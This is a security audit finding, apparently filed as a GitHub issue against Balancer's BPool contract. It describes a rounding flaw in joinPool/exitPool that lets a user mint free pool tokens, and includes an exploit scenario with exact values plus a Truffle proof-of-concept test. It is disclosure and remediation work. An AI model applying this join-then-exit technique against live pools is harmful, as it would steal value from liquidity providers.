Rounding issues in joinPool/exitPool allows for free pool tokens

[montyly]

Severity: Undetermined
Difficulty: Medium

Description

Due to rounding issues when deposing and withdrawing an asset, it is possible for an attacker to generate free pool tokens.

When a user asks for poolAmountOut pool tokens through joinPool he has to pay asset.balanceOf(this) * (poolAmountOut / poolTotal) tokens.

https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L368-L382

When a user exits a pool, he pays poolAmountIn pool tokens he receives asset.balanceOf(this) * (poolAmountIn / poolTotal)

https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L392-L412

Due to the rounding of these operations, an attacker can find an amount of poolAmountOut that will be greater than poolAmountIn, while leading to the same amount of asset tokens transferred.

As a result, an attacker can generate free pool tokens by calling consecutively joinPool and exitPool

An Echidna property and a Manticore script are provided below.

Exploit Scenario

• EXIT_FEE is equal 0;
• Initial_balance: 4294983682
• Initial pool supply: 2305843009213693953
• The user calls joinPool to generate 268435457 pool tokens, and pay 1 wei of the asset
• The user calls exitPool to burn 268434456 pool tokens, and pay 1 wei of the asset
• The user has all its assets, and 1001 free pool tokens

A Truffle test showing this scenario is provided below

Recommendation

This issue requires some code change to be fixed. Trail of Bits is still investigating mitigations.
One solution could be to compute the dust in joinPool, and revert if it is above a threshold.

Long term, consider to use Echidna and Manticore to test the rounding effects.

Testcase

const BPool = artifacts.require('BPool');
const BFactory = artifacts.require('BFactory');
const TToken = artifacts.require('TToken');
const TTokenFactory = artifacts.require('TTokenFactory');

contract('BPool', async (accounts) => {
    const admin = accounts[0];
    const user1 = accounts[1];
    const { toHex } = web3.utils;
    const { toWei } = web3.utils;
    const { fromWei } = web3.utils;
    const MAX = web3.utils.toTwosComplement(-1);

    let tokens; // token factory / registry
    let TUSD
    let tusd;
    let factory; // BPool factory
    let pool; // first pool w/ defaults
    let POOL; //   pool address

    // If exit fee is 0. , BConst.sol must be updated
    /*
    const initial_balance = 1000000; // 10**6
    const poolAmountOut = toWei('1000000000001', 'wei');
    const poolAmountIn = toWei('1000000000000', 'wei');
    const initial_pool_share_supply = toWei('1000000000000000001', 'wei'); 
    */
   // If exit fee is BONE / 10000
    const initial_balance = toWei('9007199254740992', 'wei'); 
    const poolAmountOut = toWei('768', 'wei');
    const poolAmountIn = toWei('512', 'wei');
    const initial_pool_share_supply = toWei('9223372036854775808', 'wei'); 

    const user_token_supply = toWei('100', 'ether');

    before(async () => {
        tokens = await TTokenFactory.deployed();
        factory = await BFactory.deployed();

        POOL = await factory.newBPool.call();
        await factory.newBPool();
        pool = await BPool.at(POOL);

        await tokens.build(toHex('TUSD'), toHex('TUSD'), 6); 

        TUSD = await tokens.get.call(toHex('TUSD'));

        tusd = await TToken.at(TUSD);

        // Admin balances
        await tusd.mint(admin, initial_balance); 
        await tusd.mint(user1, user_token_supply);

    });


    describe('Test free money', () => {

        it('Admin approves tokens', async () => {
            await tusd.approve(POOL, MAX, { from: admin });
            await tusd.approve(POOL, MAX, { from: user1 });
        });

        it('Admin binds tokens', async () => {
            await pool.bind(TUSD, initial_balance, toWei('1'));
        });

        it('Admin set the pool public', async () => {
            await pool.finalize(initial_pool_share_supply);
        });

        it('User1 joins pool', async () => {
            const userTusdBalanceBeforeJoin = await tusd.balanceOf(user1);
            assert.equal(user_token_supply, fromWei(userTusdBalanceBeforeJoin, 'wei'));

            await pool.joinPool(poolAmountOut, [MAX], { from: user1 });
            await pool.exitPool(poolAmountIn, [0], { from: user1 });
            
            // User has all its TUSD tokens
            const userTusdBalance = await tusd.balanceOf(user1);
            assert.equal(user_token_supply, fromWei(userTusdBalance, 'wei'));

            // User should not have any pool share
            const userPoolBalance = await pool.balanceOf(user1);
            assert.equal(0, fromWei(userPoolBalance, 'wei')); // 
        });

    });
});

[mikemcdonald]

A const INIT_POOL_SUPPLY of 100 * BONE should limit this type of rounding error

https://github.com/balancer-labs/balancer-core/blob/f8264b790b3266891d22b33abbb467970d70e1e9/contracts/BConst.sol#L33